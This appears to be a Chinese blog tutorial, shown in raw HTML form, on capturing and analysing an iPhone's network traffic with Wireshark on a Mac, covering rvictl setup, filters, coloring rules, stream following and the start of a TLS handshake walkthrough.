class=&origin_image zh-lightbox-thumb& width=&1348& data-original=&/v2-eb81fa4ddc3b_r.png&&&/figure&&p&Wireshark在第一个界面就把当前系统所包含的网卡列出来了,直接点击任何一项就可以开始监听通过该网卡的所有网络流量。&/p&&p&当我们把iPhone通过usb连接macbook时,Wireshark并不能直接监听通过iPhone的网络流量,需要通过一个系统程序在我们的Mac系统上,建立一个映射到iPhone的虚拟网卡,在terminal中输入如下命令即可:&/p&&p&&figure&&img src=&/v2-f008d801ef94f857cdf81f437c968d40_b.png& data-rawwidth=&1846& data-rawheight=&536& class=&origin_image zh-lightbox-thumb& width=&1846& data-original=&/v2-f008d801ef94f857cdf81f437c968d40_r.png&&&/figure&格式是rvictl -s [设备udid],设备的udid可以通过itunes或者itools获取,执行命令之后Wireshark能立即识别新增加的rvi0网卡,也就是上图中高亮的部分,双击rvi0这一项,Wireshare即进入如下界面开始监听iPhone设备上的所有流量。&br&&/p&&figure&&img src=&/v2-6c4a3f228546_b.png& data-rawwidth=&2108& data-rawheight=&1328& class=&origin_image zh-lightbox-thumb& width=&2108& data-original=&/v2-6c4a3f228546_r.png&&&/figure&&p&此时,启动iPhone上的任意App,只要有网络流量产生,对应的网络包都会在Wireshark上述的列表中展示出来。&/p&&p&Wireshark的流量监控界面主要分为四块,由上至下第一部分(标号为1)是工具栏,通过工具栏我们可以控制监控的行为,比如开始抓包,停止抓包,重新开始抓包,以及在包之间跳转等等。工具栏的底部有个输入框,可以让我们手动输入包的过滤条件,这部分对于熟练使用Wireshark抓包非常重要,后面会详细的讲解。&/p&&p&第二部分(标号为2)是历史流量包列表展示界面,这里展示的是从抓包开始,所有通过我们iPhone设备的流量。列表界面不同的包有不同的颜色,Wireshark通过颜色来区分包的类型,对于特定场景快速识别目标流量非常有用,后面也会专门讲解。&/p&&p&第三部分(标号为3)是单个包的详细信息展示面板,我们在第二部分选中的网络包在这一部分会将其结构以可阅读的文本形式展示出来,要正确阅读这一部分的信息需要对tcp/ip协议有一定的掌握。&/p&&p&第四部分(标号为4)是单个包的二进制流信息展示面板,这一部分展示的信息是包的原始数据,也是一个网络包所包含内容的真实展现,我们在第三部分多选中的协议头,都会在这一部分以同步高亮的形式标记出来。这一部分的展示是为了让我们对包的真实内容做直观的判断,能具体到单个byte。&/p&&p&初步认识上述四块主要面板之后,可以尝试开始分析网络包,在开始分析网络包之前,先要对网络包有个大致的概念。&/p&&h3&网络包结构&/h3&&p&我们最初学习网络协议的时候,无论是OSI七层模型,还是经典的TCP/IP五层结构,都是以下图中的左边部分的形式展示的。&/p&&figure&&img src=&/v2-aff4f228ade_b.png& data-rawwidth=&1940& data-rawheight=&1140& class=&origin_image zh-lightbox-thumb& width=&1940& data-original=&/v2-aff4f228ade_r.png&&&/figure&&p&这是一种经典的分层架构,确实也符合网络协议设计上的思路,但却不能表达网络包真实的包含关系。上图右边部分是我所绘制的一个包结构示意图。在我看来,这种洋葱式的结构更符合网络包的真实形态。Application是最内层的payload,除了Application这一层之外,其他层都是用自己这一层的协议header+所包含那一层的payload。可以用如下公式表示:&/p&&p&TCP Layer = TCP Header + Application Payload&/p&&p&IP Layer = IP Header + TCP Payload&/p&&p&…&/p&&p&我们分析每个网络包的时候要能理解每一个包它所代表的抽象含义,再进一步将相关联的包串联起来,形成一次完整的网络会话。&/p&&h3&分析包结构&/h3&&p&对于iOS程序员来说,我们绝大部分的流量分析都集中在HTTP或者基于TCP的socket长连接。从这一层面来说,和我们最贴近的三层是应用层(http),传输层(tcp or udp),网络层(ip)。&/p&&p&对于应用层来说主要是http协议的学习,对于http request和response格式的阅读,比如下图表示的一个http request包:&/p&&figure&&img src=&/v2-7bfb3cb889c9e06f8b82f2_b.png& data-rawwidth=&1508& data-rawheight=&812& class=&origin_image zh-lightbox-thumb& width=&1508& data-original=&/v2-7bfb3cb889c9e06f8b82f2_r.png&&&/figure&&p&Packet详情面板以符合http协议的表述,将header中各个field清晰的罗列出来了,阅读起来很方便。&/p&&p&传输层我们应用较多的是tcp,这一层的阅读主要是tcp header的学习:&/p&&figure&&img src=&/v2-40cfee06db71b3e4bbfaf9bef0f82ab0_b.png& data-rawwidth=&1714& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&1714& data-original=&/v2-40cfee06db71b3e4bbfaf9bef0f82ab0_r.png&&&/figure&&p&典型的tcp header一般长度为20个字节,将这20个字节逐一学习一遍就可以分析大部分的tcp流量了。&/p&&p&网络层的分析主要是针对于IP Header,header结构如下:&/p&&figure&&img src=&/v2-e1d7ddcfb59d_b.png& data-rawwidth=&1528& data-rawheight=&772& class=&origin_image zh-lightbox-thumb& width=&1528& data-original=&/v2-e1d7ddcfb59d_r.png&&&/figure&&p&这其中IP Header第十三个字节各个filed的理解,对于我们分析tcp流量的起始和结束尤其有用,典型的IPV4 Header也是20个字节,梳理一遍就可以分析IP包了。&/p&&p&所以对于包结构的分析关键在于三个知识点的学习:http header, tcp header, ip header,这么一看好像也没多少东西 ;)&/p&&h3&使用Filter过滤包&/h3&&p&使用Wireshark和使用Charles最大的区别在于,Charles只捕获HTTP流量,而Wireshark捕捉的是经过目标网卡所有的流量,流量包可以在几秒内膨胀到难以阅读的数量,所以此时我们需要使用Filter来做包的过滤,Filter规则定的越细,剔除掉的干扰信息就越多,分析起来就越快。&/p&&p&Wireshark的Filter分为两种,一种为Capture Filter,另一种是Display Filter。&/p&&p&Capture Filter出现在初始界面,在网卡列表的上方有个输入框,允许我们输入capture filter,一旦输入了特定的capture规则,Wireshark就只捕获符合该规则的流量包了。&/p&&br&&p&&figure&&img src=&/v2-cfc3edbec766ec1136fb9_b.png& data-rawwidth=&1374& data-rawheight=&356& class=&origin_image zh-lightbox-thumb& width=&1374& data-original=&/v2-cfc3edbec766ec1136fb9_r.png&&&/figure&Display Filter出现在流量监控界面,在工具栏的下方有个输入框,允许我们输入display filter,display filter只是从界面上过滤掉不符合规则的包,Wireshark实际上还是监听了这些包,一旦去掉display filter,所有的包又会出现在同一界面。&/p&&figure&&img src=&/v2-18aa2cfdde5b0745ef4e_b.png& data-rawwidth=&1036& data-rawheight=&344& class=&origin_image zh-lightbox-thumb& width=&1036& data-original=&/v2-18aa2cfdde5b0745ef4e_r.png&&&/figure&&p&Capture Filter的规则和我们平常使用tcpdump的filter语法是一致的,比如为了只监控http的流量,我们可以先在初始化界面选中rvi0网卡,再在capture filter输入框里输入:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&//只捕获HTTP流量
port 80 or port 443
&/code&&/pre&&/div&&p&回车之后Wireshark就开始监控我们iPhone上所有的http和https流量了 ,非常简单,我们还可以使用其他的capture filter来捕获特定的流量,比如想分析DNS解析过程,可以使用:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&//只捕获DNS流量
&/code&&/pre&&/div&&p&比如只想捕获和特定服务器相关的流量:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&//只捕获和特定主机的流量
host 171.10.191.10
&/code&&/pre&&/div&&p&Display Filter的语法是由Wireshark自定义的,和Capture filter的语法不能混用。比如我们只想看某个主机的流量,可以使用如下Display Filter:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&ip.addr==171.10.191.10
&/code&&/pre&&/div&&p&如果只看http或者https的流量,可以用:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&tcp.port == 80 || tcp.port == 443
&/code&&/pre&&/div&&p&更多的语法规则可以查看&a href=&/?target=https%3A//www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Wireshark官方文档&i class=&icon-external&&&/i&&/a&,Wireshark实际上提供了便捷的UI操作帮助我们来书写Display Filter,在Display Filter输入框的最右边有个Expression按钮,点击之后可以弹出如下界面:&/p&&p&&figure&&img src=&/v2-0fdd27f718c2caab0492b_b.png& data-rawwidth=&1248& data-rawheight=&1272& class=&origin_image zh-lightbox-thumb& width=&1248& data-original=&/v2-0fdd27f718c2caab0492b_r.png&&&/figure&Display Filter的语法本质上是个等是关系描述,我们可以在search当中输入我们感兴趣的协议比如http,再在展开的协议头里选择我们的条件比如http.host,最后设置Relation和Value就可以生成一个Display Filter条件了。&/p&&h3&包颜色规则&/h3&&p&Wireshark在大多数时候捕获的包数量都远超我们感兴趣的数量,而且各个连接的包都混杂在一起,为了方便我们识别不同的连接会话,Wireshark默认使用一种着色规则帮助我们来进行包类型区分。&/p&&p&具体的规则可以通过菜单View-&Coloring Rules…查看,默认规则如下:&/p&&p&&figure&&img src=&/v2-8b028da274cf218e75a610df_b.png& data-rawwidth=&1436& data-rawheight=&1406& class=&origin_image zh-lightbox-thumb& width=&1436& data-original=&/v2-8b028da274cf218e75a610df_r.png&&&/figure&&br&这里有个小技巧,如上图所示,我只将我感兴趣的协议包上了色,集中在http,tcp,udp包,这样分析起来更加直观。比如根据上图的规则,tcp三次握手中的Sync包是使用灰色标记的,这样我就可以在下图的包中迅速定位一次tcp连接的开始包位置:&/p&&p&&figure&&img src=&/v2-3943255bdadbb1b26fb3b_b.png& data-rawwidth=&1684& data-rawheight=&514& class=&origin_image zh-lightbox-thumb& width=&1684& data-original=&/v2-3943255bdadbb1b26fb3b_r.png&&&/figure&当然,包的颜色也可以按照自己的视觉习惯进行定制,我个人习惯把Sync包和FIN包设置一个高亮的颜色,方便判断一次HTTP会话的起始和结束。&/p&&h3&流量跟踪&/h3&&p&Wireshark默认情况下将不同网络连接的流量都混在一起展示,即使给不同协议的包上色之后,要单独查看某个特定连接的流量依然不怎么方便,我们可以通过Wireshark提供的两种方式来实现这个目标。&/p&
方式一:Follow Stream
&p&当我们选中某个包之后,右键弹出的菜单里,有个选项允许我们将当前包所属于的完整流量单独列出来,如下图:&/p&&figure&&img src=&/v2-ac7a3af278b_b.png& data-rawwidth=&1170& data-rawheight=&888& class=&origin_image zh-lightbox-thumb& width=&1170& data-original=&/v2-ac7a3af278b_r.png&&&/figure&&p&Wireshark支持我们常见的四种Stream,TCP,UDP,HTTP,SSL。比如我们选中Follow TCP Stream之后可以得到如下的详细分析输出(样本为监控iPhone手机的流量):&/p&&p&&figure&&img src=&/v2-fa285dd0e11309add493b4_b.png& data-rawwidth=&1304& data-rawheight=&1228& class=&origin_image zh-lightbox-thumb& width=&1304& data-original=&/v2-fa285dd0e11309add493b4_r.png&&&/figure&&br&上图中将iPhone和Server之间某次的连接流量完整的呈现出来,包括iPhone发送了多少个包,Server回了多少个包,以及iPhone上行和下行的流量,还提供流量编解码选择,文本搜索功能等。&br&&/p&
方式二:Flow Graph
&p&Flow Graph可以通过菜单Statistics-&Flow Graph来生成,这样我们可以得到另一种形式的流量呈现:&/p&&figure&&img src=&/v2-a944a7c50ea5cc_b.png& data-rawwidth=&2200& data-rawheight=&1352& class=&origin_image zh-lightbox-thumb& width=&2200& data-original=&/v2-a944a7c50ea5cc_r.png&&&/figure&&p&和Follow Stream不同的是我们获取到的是完整的流量,从上图中可以看出从10.136.66.127(我的iPhone手机IP地址)发出的流向多个服务器的网络流量,包括DNS解析和SSL安全握手等。当然我们也可以在上图中下方的操作区域做进一步的过滤,可以使用Display Filter做进一步的流量定位。&/p&&p&Follow Stream更适合分析针对某一个服务器地址的流量,而Flow Graph更适合分析某个App的整体网络行为,包含从DNS解析开始到和多个服务器交互等。&/p&&p&其实Statistics菜单下还有更多的图表分析模式,可以根据不同的分析目标来选择,比如Statistics-&HTTP-&Requests可以得到如下按主机分门别类的HTTP请求分析图,和收费的Charles的展示结果类似。&/p&&figure&&img src=&/v2-4b4e433a54aadd93a7dd4f304c9ae55e_b.png& data-rawwidth=&1460& data-rawheight=&902& class=&origin_image zh-lightbox-thumb& width=&1460& data-original=&/v2-4b4e433a54aadd93a7dd4f304c9ae55e_r.png&&&/figure&&h3&HTTPS包分析&/h3&&p&介绍完使用方式再来实际分析下HTTPS的流量。下图是我使用Wireshark在iPhone上抓包知乎App网络请求的结果:&/p&&p&&figure&&img src=&/v2-0fdd27f718c2caab0492b_b.png& data-rawwidth=&1248& data-rawheight=&1272& class=&origin_image zh-lightbox-thumb& width=&1248& data-original=&/v2-0fdd27f718c2caab0492b_r.png&&&/figure&当我使用Follow TCP Stream之后,一次完整的HTTPS会话流量就被单独过滤出来了,第一步先分析包列表界面。&br&&/p&&p&通过高亮颜色找到会话的其实Sync包,继而可以快速的定位到HTTP建立连接之初的tcp三次握手所产生的三个包:&/p&&p&&strong&Sync:&/strong&
iPhone发送Sync。&/p&&p&&strong&Sync+Ack:&/strong& Server发送Sync+Ack。&/p&&p&&strong&Ack:&/strong& iPhone Ack。&/p&&p&三次握手之后是ssl handshake,ssl handshake分为以下几步:&/p&&p&&strong&Client Hello&/strong&&/p&&p&这一个包是ssl握手的起始包,客户端(我的iPhone)会携带当前会话所依赖的一些关键信息:使用的tls版本(当前为tls1.2),上次的Session ID(如果可以se

我要回帖

更多关于 toad data grid 颜色 的文章

 

随机推荐